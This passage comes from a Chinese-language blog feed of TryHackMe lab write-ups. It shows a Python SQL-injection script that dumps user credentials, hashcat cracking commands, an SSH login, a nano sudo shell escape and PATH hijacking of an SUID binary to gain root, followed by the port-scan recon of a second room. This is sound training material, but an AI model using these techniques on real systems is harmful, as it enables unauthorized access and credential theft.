&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/810d4-mRsktTI.png"&gt;選 admin- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5bf48-hg5rrk1.png"&gt;爆 使用者跟密碼組- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5f961-qPtZXaY.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept-Language&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;en-US,en;q=0.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;application/x-www-form-urlencoded&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Origin&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://hogwartz-castle.thm&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Connection&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;keep-alive&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Referer&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://hogwartz-castle.thm/login&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Upgrade-Insecure-Requests&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# &amp;#39;union select 1,2,3,4 --&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;range&lt;/span&gt;(&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;,&lt;span style="color:#bd93f9"&gt;40&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;user&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#39;union select name || &amp;#39;:&amp;#39; || password,2,3,4 from users limit &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;i&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;,1 --&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(&lt;span style="color:#f1fa8c"&gt;&amp;#39;http://hogwartz-castle.thm/login&amp;#39;&lt;/span&gt;, headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers, data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; response&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text[&lt;span style="color:#bd93f9"&gt;27&lt;/span&gt;:&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;19&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(name)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;取的所有的 hash&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cb950-G1a6hwW.png"&gt;分析 hash 格式- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9182d-H01hoQz.png"&gt;&lt;/li&gt;
&lt;li&gt;SHA 512用哈希貓- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c8036-GRYM30j.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hashcat -m 1700 hashes.txt spellnames.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hashcat -m 1700 hashes.txt /opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現基本上都爆不出來觀察 notes- &lt;code&gt;'union select group_concat(notes),2,3,4 from users --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d4224-L5wm2pu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6fd9f-z6bqT3d.png"&gt;發現密碼用ㄌ &lt;code&gt;best64&lt;/code&gt;查詢哈希貓 &lt;code&gt;best64&lt;/code&gt; 的用法- &lt;a href="https://github.com/hashcat/hashcat/blob/master/rules/best64.rule"&gt;https://github.com/hashcat/hashcat/blob/master/rules/best64.rule&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hashcat -m 1700 hashes.txt /opt/rockyou.txt -r best64.rule&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6531c-lYczWfH.png"&gt;&lt;/li&gt;
&lt;li&gt;成功爆出來密碼&lt;code&gt;b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885:wingardiumleviosa123&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/45eb7-fOnYTtK.png"&gt;回來用 SQLi 找使用者看看- &lt;code&gt;'user': &amp;quot;'union select name,2,3,4 from users where password like 'b326e7a6%' --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/72170-0xPvGbe.png"&gt;&lt;/li&gt;
&lt;li&gt;Harry Turner觀察他的 notes- &lt;code&gt;&amp;quot;'union select notes,2,3,4 from users where password like 'b326e7a6%' --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e7f01-FKMzlOs.png"&gt;&lt;/li&gt;
&lt;li&gt;使用 first name&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ssh harry@hogwartz-castle.thm&lt;/code&gt;密碼 ： &lt;code&gt;wingardiumleviosa123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6586f-glQH9j0.png"&gt;&lt;/li&gt;
&lt;li&gt;登入成功&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1d84e-Ubpctjf.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9b297-9eydEcN.png"&gt;&lt;/li&gt;
&lt;li&gt;發現一個叫做 &lt;code&gt;pico&lt;/code&gt; 的程式&lt;/li&gt;
&lt;li&gt;可以用 &lt;code&gt;hermonine&lt;/code&gt; 執行 pico執行看看- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b1b77-zFhwVe6.png"&gt;&lt;/li&gt;
&lt;li&gt;發現打開是 nano尋找利用方式- &lt;a href="https://gtfobins.github.io/gtfobins/nano/#sudo"&gt;https://gtfobins.github.io/gtfobins/nano/#sudo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo -u hermonine /usr/bin/pico&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^R^X&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7fa08-Y0hDfkU.png"&gt;&lt;/li&gt;
&lt;li&gt;成功橫向移動成功取得 User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1cc36-zBGBeAD.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現使用者根目錄有 &lt;code&gt;.python_history&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f0915-zdfCuju.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是有用過 pwntools 的遺跡&lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;- 增加互動性跑豌豆- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2dcbe-OrSd9vs.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/938de-8u9cFVS.png"&gt;&lt;/li&gt;
&lt;li&gt;找到一個奇妙的，有 suid 的檔案&lt;code&gt;/srv/time-turner/swagger&lt;/code&gt;直接執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b422e-aYZMlV9.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是猜數字遊戲丟進 ida- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/242c9-25JLMPW.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來是用 timestamp 當 random seed&lt;/li&gt;
&lt;li&gt;我們可以自己編譯一個程式，餵入當前時間&lt;code&gt;date +%s ; /srv/time-turner/swagger&lt;/code&gt;- 可以取得當前 timestamp ，並執行程式編譯自己的 C 語言程式，給予指定的 timestamp- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d16eb-61t2bc2.png"&gt;填上去！- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f3a6-yZ49WFC.png"&gt;&lt;/li&gt;
&lt;li&gt;成功，發現他會呼叫沒有絕對路徑的 uname所以可以蓋 path- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f0ad-ZN3JkvX.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/date +%s ;PATH=/home/hermonine/fakepath:$PATH /srv/time-turner/swagger&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4f23b-vM33O0T.png"&gt;&lt;/li&gt;
&lt;li&gt;就成功 root 了取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d93ef-VGKzQVe.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RME{M@rK-3veRy-hOur-0135d3f8ab9fd5bf}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Looking Glass (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/23/looking-glass-try-hack-me-writeup/</link><pubDate>Mon, 23 Aug 2021 13:05:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/23/looking-glass-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/lookingglass"&gt;https://tryhackme.com/room/lookingglass&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.150.136&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 port&lt;code&gt;rustscan -a 10.10.150.136 -r 1-65535&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5be68-DaK1Ubs.png"&gt;&lt;/li&gt;
&lt;li&gt;三小 ?&lt;strong&gt;_&lt;/strong&gt;?&lt;/li&gt;
&lt;li&gt;先看看比較特別的 22 port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee569-FG3Qh5z.png"&gt;&lt;/li&gt;
&lt;li&gt;也沒啥特別ㄉ&lt;code&gt;rustscan -a 10.10.150.136 -r 1-65535 --accessible | tee rustscan.txt&lt;/code&gt;- 存成檔案用 curl 觀察- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/53e61-v7Ixnui.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f4045-TsjRobZ.png"&gt;用 nmap 觀察- &lt;code&gt;nmap -sV -p9001,9011,9003,9000,9009,9006,9005,9004,9015,9008,9007,9013,9017,9002,9010,9012,9020,9014,9019,9016,9024,9018,9027,9026,9034,9025,9023,9021,9022,9033,9035,9039,9030,9029,9051,9031,9045,9040,9052,9028,9042,9038,9041,9032,9048,9044,9043,9037,9049,9036,9059,9047,9050,9058,9057,9054,9053,9061,9056,9046,9064,9055,9062,9071,9060,9063,9068,9067,9066,9065,9075,9074,9073,9072,9070,9069,9081,9076,9080,9082,9078,9079,9091,9089,9077,9085,9101,9088,9086,9083,9100,9084,9095,9099,9093,9087,9090,9094,9096,9092,9097,9098,9103,9105,9104,9102,9107,9106,9109,9114,9110,9108,9115,9111,9113,9112,9117,9121,9116,9119,9120,9118,9122,9123,9127,9126,9131,9125,9130,9129,9124,9128,9132,9133,9135,9134,9137,9136,9138,9143,9140,9141,9142,9158,9155,9154,9147,9149,9145,9139,9161,9167,9156,9148,9168,9150,9146,9164,9166,9165,9177,9157,9152,9144,9162,9151,9174,9153,9172,9159,9178,9173,9171,9179,9160,9180,9163,9169,9184,9189,9193,9186,9170,9195,9176,9185,9175,9181,9182,9204,9192,9183,9190,9191,9202,9194,9197,9200,9206,9196,9209,9208,9188,9187,9215,9203,9198,9199,9205,9201,9213,9217,9216,9210,9214,9212,9211,9219,9218,9207,9220,9221,9222,9223,9225,9224,9228,9226,9227,9231,9229,9230,9232,9233,9234,9235,9236,9238,9237,9247,9240,9241,9248,9250,9253,9243,9239,9245,9242,9252,9251,9254,9246,9244,9249,9255,9258,9259,9256,9257,9267,9260,9262,9264,9263,9266,9261,9265,9268,9270,9273,9274,9271,9269,9276,9275,9272,9277,9283,9278,9285,9279,9284,9281,9280,9282,9286,9287,9289,9288,9290,9291,9293,9292,9294,9295,9297,9299,9296,9301,9303,9298,9300,9302,9304,9305,9306,9307,9308,9309,9310,9311,9316,9312,9314,9317,9313,9315,9318,9320,9321,9322,9324,9325,9323,9319,9329,9326,9331,9330,9328,9332,9327,9333,9334,9335,9337,9340,9338,9343,9344,9336,9342,9339,9345,9346,9341,9348,9350,9352,9347,9351,9349,9353,9356,9355,9358,9360,9354,9357,9364,9362,9359,9363,9367,9361,9365,9366,9375,9373,9369,9374,9368,9381,9380,9384,9371,9376,9377,9370,9372,9378,9382,9379,9385,9383,9389,9387,9388,9390,9393,9392,9386,9391,9394,9395,9396,9397,9398,9399,9400,9401,9412,9410,9408,9419,9417,9424,9402,9406,9420,9407,9415,9413,9414,9425,9405,9416,9418,9404,9411,9403,9409,9426,9421,9423,9427,9429,9422,9428,9430,9431,9432,9433,9434,9435,9442,9440,9437,9439,9441,9438,9436,9446,9450,9444,9443,9445,9447,9449,9448,9451,9454,9452,9453,9458,9455,9459,9456,9457,9463,9460,9461,9465,9462,9468,9464,9466,9467,9470,9469,9474,9473,9472,9477,9478,9471,9482,9476,9475,9480,9483,9479,9481,9485,9486,9484,9491,9487,9488,9489,9490,9493,9492,9494,9498,9499,9497,9496,9495,9502,9501,9500,9503,9505,9504,9508,9510,9507,9506,9509,9511,9512,9513,9514,9517,9519,9515,9516,9520,9518,9522,9527,9526,9528,9521,9525,9524,9530,9533,9523,9529,9534,9532,9531,9535,9536,9537,9539,9538,9540,9541,9545,9543,9542,9544,9546,9551,9549,9547,9554,9548,9555,9556,9557,9550,9558,9552,9553,9559,9561,9560,9562,9564,9565,9563,9568,9566,9569,9571,9567,9573,9574,9572,9575,9570,9576,9580,9577,9581,9579,9578,9582,9583,9584,9586,9585,9587,9589,9594,9588,9590,9592,9591,9593,9595,9601,9598,9600,9602,9599,9597,9596,9603,9609,9608,9607,9606,9610,9604,9615,9612,9619,9617,9605,9613,9621,9614,9611,9616,9620,9622,9618,9623,9644,9626,9627,9638,9633,9640,9629,9630,9624,9642,9634,9637,9636,9643,9632,9635,9625,9641,9647,9645,9639,9628,9631,9646,9648,9649,9650,9651,9653,9654,9652,9659,9657,9655,9658,9656,9660,9661,9663,9662,9664,9665,9666,9668,9667,9671,9669,9670,9672,9673,9675,9674,9676,9678,9677,9679,9680,9681,9682,9683,9684,9685,9686,9692,9689,9687,9693,9690,9688,9691,9694,9695,9698,9696,9699,9697,9700,9724,9725,9722,9737,9726,9723,9728,9721,9738,9727,9739,9736,9735,9740,9741,9742,9745,9744,9743,9747,9748,9750,9746,9752,9749,9754,9753,9751,9762,9763,9764,9766,9770,9767,9765,9771,9773,9772,9780,9777,9781,9779,9778,9790,9789,9801,9802,9791,9799,9804,9811,9803,9800,9806,9805,9808,9814,9815,9809,9807,9810,9813,9816,9817,9812,9818,9821,9819,9820,9824,9828,9822,9826,9823,9829,9825,9827,9830,9831,9832,9833,9837,9834,9836,9839,9841,9835,9838,9848,9840,9842,9846,9847,9844,9851,9849,9845,9850,9843,9853,9852,9865,9857,9855,9859,9862,9854,9856,9863,9861,9866,9860,9858,9868,9864,9867,9870,9869,9872,9871,9878,9874,9875,9879,9873,9877,9876,9880,9884,9886,9882,9881,9888,9889,9883,9887,9885,9893,9892,9891,9890,9896,9900,9904,9898,9895,9899,9894,9901,9910,9907,9906,9905,9897,9908,9903,9902,9913,9909,9912,9911,9915,9926,9914,9924,9917,9923,9920,9919,9925,9922,9921,9918,9916,9930,9928,9927,9929,9934,9941,9937,9939,9931,9933,9936,9935,9940,9938,9932,9942,9943,9944,9961,9972,9966,9962,9971,9964,9967,9969,9963,9968,9970,9965,9975,9973,9974,9978,9979,9977,9980,9976,9981,9996,9983,9982,10000,9984,9986,9985,9997,10001,9998,9999,10002,10003,10006,10005,10004,10007,10011,10017,10015,10012,10008,10009,10013,10014,10010,10016,10018,10020,10019,10021,10022,10024,10023,10027,10025,10028,10026,10034,10032,10030,10029,10035,10031,10033,10037,10036,10039,10038,10042,10041,10044,10040,10045,10043,10046,10047,10049,10048,10050,10052,10051,10056,10053,10054,10055,10057,10058,10060,10059,10064,10065,10067,10062,10070,10071,10066,10061,10063,10069,10073,10072,10068,10074,10075,10078,10077,10076,10079,10080,10083,10081,10084,10082,10086,10087,10085,10088,10090,10092,10089,10091,10095,10093,10098,10094,10096,10097,10099,10101,10100,10102,10103,10105,10104,10106,10107,10110,10111,10112,10108,10114,10109,10113,10116,10115,10117,10119,10118,10120,10121,10122,10124,10123,10126,10128,10125,10132,10129,10135,10127,10131,10130,10133,10134,10138,10137,10139,10141,10140,10142,10136,10143,10149,10145,10150,10146,10153,10148,10151,10147,10144,10152,10154,10155,10156,10162,10158,10161,10160,10159,10157,10174,10172,10179,10173,10178,10180,10181,10182,10185,10183,10184,10188,10187,10186,10189,10190,10191,10193,10192,10195,10194,10196,10198,10199,10197,10202,10200,10201,10205,10207,10203,10204,10212,10211,10208,10206,10210,10209,10214,10213,10215,10217,10216,10223,10218,10221,10219,10220,10222,10224,10226,10225,10229,10227,10231,10228,10230,10239,10240,10238,10242,10241,10243,10244,10245,10246,10248,10249,10247,10251,10250,10255,10252,10261,10253,10254,10256,10257,10262,10259,10260,10263,10258,10265,10264,10266,10267,10268,10269,10270,10271,10272,10275,10273,10278,10274,10279,10292,10277,10276,10293,10294,10295,10297,10299,10296,10298,10301,10300,10345,10344,10347,10346,10343,10348,10350,10352,10349,10351,10353,10354,10355,10374,10378,10379,10377,10375,10376,10381,10383,10380,10382,10436,10384,10438,10437,10440,10439,10441,10442,10446,10447,10449,10445,10444,10450,10452,10453,10448,10455,10456,10454,10463,10462,10460,10464,10465,10461,10459,10477,10466,10476,10475,10478,10480,10479,10484,10487,10486,10485,10488,10491,10489,10493,10490,10492,10494,10496,10495,10497,10499,10502,10500,10498,10503,10501,10506,10504,10507,10508,10505,10513,10511,10510,10514,10518,10509,10512,10515,10516,10521,10517,10522,10523,10520,10526,10519,10524,10530,10528,10525,10527,10529,10531,10533,10532,10536,10540,10534,10535,10538,10539,10541,10542,10537,10544,10545,10546,10548,10543,10547,10551,10550,10552,10549,10557,10554,10556,10559,10558,10560,10561,10553,10555,10563,10562,10564,10565,10567,10569,10566,10568,10570,10571,10576,10573,10577,10575,10572,10578,10574,10579,10581,10580,10582,10584,10583,10585,10590,10593,10588,10586,10595,10587,10589,10592,10591,10600,10603,10596,10594,10601,10597,10598,10599,10604,10605,10602,10607,10606,10608,10611,10610,10609,10615,10613,10612,10614,10616,10618,10617,10620,10619,10621,10624,10625,10622,10623,10626,10630,10632,10628,10634,10627,10631,10635,10629,10633,10636,10637,10638,10639,10640,10644,10646,10642,10649,10643,10641,10645,10647,10648,10650,10651,10653,10652,10654,10655,10657,10656,10658,10661,10660,10659,10662,10664,10663,10666,10665,10668,10667,10670,10669,10671,10672,10673,10674,10675,10676,10678,10677,10679,10680,10681,10683,10684,10682,10685,10687,10686,10688,10689,10690,10691,10692,10693,10694,10698,10699,10696,10697,10695,10700,10701,10703,10704,10705,10702,10706,10707,10708,10709,10712,10710,10711,10714,10713,10715,10717,10718,10716,10719,10720,10721,10722,10723,10724,10726,10725,10727,10728,10729,10733,10736,10734,10731,10730,10737,10732,10735,10738,10739,10740,10741,10742,10746,10747,10744,10743,10745,10749,10748,10751,10750,10752,10754,10753,10755,10756,10757,10758,10762,10760,10759,10761,10763,10768,10764,10765,10766,10771,10770,10767,10769,10772,10773,10774,10775,10776,10777,10780,10779,10778,10785,10788,10786,10784,10782,10787,10783,10781,10792,10789,10790,10791,10793,10794,10795,10796,10797,10798,10799,10801,10800,10803,10802,9733,9757,9761,9758,9734,9760,9715,9759,9717,9720,10804,9716,9731,9719,9732,9755,9712,9708,9769,9718,9756,9768,9713,9730,10805,9714,9729,9710,9711,9709,9706,9702,9705,9703,9707,10806,9701,9704,10807,10809,10812,10808,10810,10813,10811,10815,10814,10816,10817,10823,10820,10819,10821,10822,10818,10827,10826,10825,10824,10828,10834,10831,10829,10833,10836,10832,10830,10837,10835,10838,10842,10841,10840,10843,10839,10857,10844,10858,10855,10861,10860,9776,10856,9774,9775,9782,9798,9788,9784,9783,9786,9795,9787,9785,10863,10862,9796,10864,9792,9794,9797,9793,10865,10866,10878,10888,10883,10880,10887,10882,10879,10889,10885,10881,10884,10886,10891,10890,10893,10894,10892,10895,10903,10901,10902,10904,10896,10905,10919,10918,10920,10921,10922,10923,10925,10926,10924,10930,10927,10929,10928,10931,10932,10933,10934,10935,10937,10936,10938,10939,10940,10941,10942,10943,10944,10945,10948,10947,10946,10949,10950,10952,10951,10955,10954,10953,10956,10959,10958,10957,10961,10960,9956,9951,9959,9957,9945,9955,9954,9948,9953,9947,10962,9960,9958,9949,9952,10967,10965,9946,10970,10968,10966,9950,10964,10963,10969,10971,10972,10973,10975,10976,10980,10974,10982,10977,10978,10979,10981,10983,10985,9991,9995,10984,9993,9992,9994,9989,9990,9987,9988,10986,10988,10987,10990,10991,10989,10994,10993,10992,10997,10996,10998,10995,10999,11001,11000,11005,11002,11006,11004,11010,11009,11003,11008,11011,11007,11012,11013,11016,11017,11014,11015,11019,11020,11018,11021,11022,11023,11024,11031,11025,11030,11027,11028,11026,11029,11033,11035,11034,11032,11036,11037,11038,11040,11042,11039,11041,11043,11044,11046,11045,11047,11048,11049,11050,11051,11053,11054,11052,11055,11057,11056,11059,11058,11060,11062,11063,11061,11065,11066,11069,11064,11067,11068,11070,11071,11073,11074,11075,11072,11079,11076,11077,11078,10169,10177,10163,10164,10166,10170,11080,10171,10176,10175,10165,10167,11081,10168,11083,11082,11084,11085,11086,11087,11088,11089,11090,11091,11095,11093,11094,11092,11097,11100,11096,11101,11102,11098,11099,11105,11103,11104,11106,11114,11109,11110,11108,11113,11111,11116,11107,11115,11117,11122,11112,11118,11120,11121,11119,11123,11124,11125,11127,11126,11128,11129,11130,11131,11134,11133,11132,11137,11136,11135,11138,11139,11140,11142,11141,11143,11144,11148,11146,11149,11145,11147,11150,11154,11153,11151,11152,11155,11158,11159,11163,11157,11162,11156,11160,11161,11164,11172,11167,11171,11168,11174,11170,11166,11169,11179,11165,11175,11173,11177,11178,11176,11182,11181,11183,11180,11184,11185,11187,11186,11188,11189,11190,10236,10237,10233,10232,11192,10235,11196,10234,11199,11191,11193,11195,11217,11198,11215,11194,11197,11200,11216,11201,11229,11226,11225,11228,11227,11234,11240,11235,11230,11236,11241,11244,11243,11239,11242,11245,11246,11248,11256,11255,11249,11247,11257,11260,11258,11261,11272,11273,11259,11275,11274,11286,11288,11289,11287,11290,11292,11291,11309,11298,11295,10386,11297,11293,10385,11308,11294,11296,11310,11307,10387,11314,11316,11312,11313,11311,11320,11318,11315,11319,11317,11322,11321,11324,11332,11323,11333,11337,11335,11334,11340,11336,11339,11338,11341,10418,10431,10419,10428,10420,10412,10417,10409,10433,10432,10422,10407,10414,10404,10421,10410,10430,10423,10435,10411,10415,10434,10408,10426,10427,10424,10403,10429,10413,10425,10416,10398,10396,10389,10405,10399,10388,10402,10406,10397,10400,11342,10395,10393,10401,10391,10392,10394,10390,11351,11347,11343,11346,11350,11352,11348,11356,11355,11354,11349,11353,10483,10482,10473,10481,10451,10474,10468,10472,10443,10471,10470,10458,10469,10467,11357,11359,10457,11358,11360,11362,11361,11366,11368,11365,11363,11364,11367,11370,11371,11372,11369,11376,11375,11374,11377,11373,11378,11380,11381,11379,11382,11383,11384,11390,11398,11387,11385,11392,11389,11391,11395,11393,11388,11397,11386,11394,11396,11399,11409,11404,11400,11401,11402,11407,11405,11413,11412,11411,11403,11406